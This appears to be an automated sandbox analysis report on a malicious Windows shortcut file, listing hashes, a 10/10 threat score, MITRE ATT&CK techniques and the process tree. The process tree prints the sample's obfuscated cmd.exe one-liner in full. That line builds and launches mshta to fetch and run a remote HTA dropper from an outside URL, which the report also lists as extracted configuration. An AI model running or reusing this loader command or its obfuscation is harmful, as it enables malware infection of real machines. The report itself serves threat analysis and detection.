ce77f55bf3a05012fb63cd46dc7f47faab8a9eef2b95299c45032a37e35a9819

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/08/2026, 08:21

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General

Target
DOC-9SF4RM.lnk
Size 2KB
Sample260804-j9f2jsar2s
SHA256 ce77f55bf3a05012fb63cd46dc7f47faab8a9eef2b95299c45032a37e35a9819
MD5 e7e4991ab849347d58b78a9c81001bad
SHA1 6491934029c68bab6ca3ec3d159eb75326997102
SHA512 d0235868995541d05faa4fe28a44e40e4f5fcd0009475971e7e7eb306cc0a388bd5a362c6aa85cb14905d18468af17e2d5958eeda0fc777ceed4e037e8502bf6
TLSH
T1884146913AE90498F2FB9F32EEFE275449BBBD615D20C59D0881810C4822B14D977F63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3860	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3860 wrote to memory of 4332	3860	cmd.exe	86
PID 4332 wrote to memory of 4708	4332	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-9SF4RM.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3860
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d/V:on/c"set eSajH=t0gmsb9&&set SX=qz4hta8&set ilkwi=tmpvlgtxfqgaixyltmp&set orA=datlowndedat&set ydWSd=winjbplsnhlodpsgbgszwin&set NdZf=winuvffnlbgkmtxwin&set OC=netwiivvkjnet&set dbNef=datpnkmjbdxoxwzdvzsththdat&set Wo=k5sl5&&set ZBFBw=etaqc8&&set ld=grt61&set es=infanholgktuxczinf&set LOMZ=bakijndjhbak&set JUACa=cfgnkpwzycfg&set OoXZI=cfgfdijcfg&&set ldj=h@tt@ps:/@/m@a-pd@ff@ill@[email protected]/@h/es@[email protected]@hp@?r=39@14@69FB5D82D@B&&start /b !eSajH:~3,2!!SX:~3,3! !ldj:@=!"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4332
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4708

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads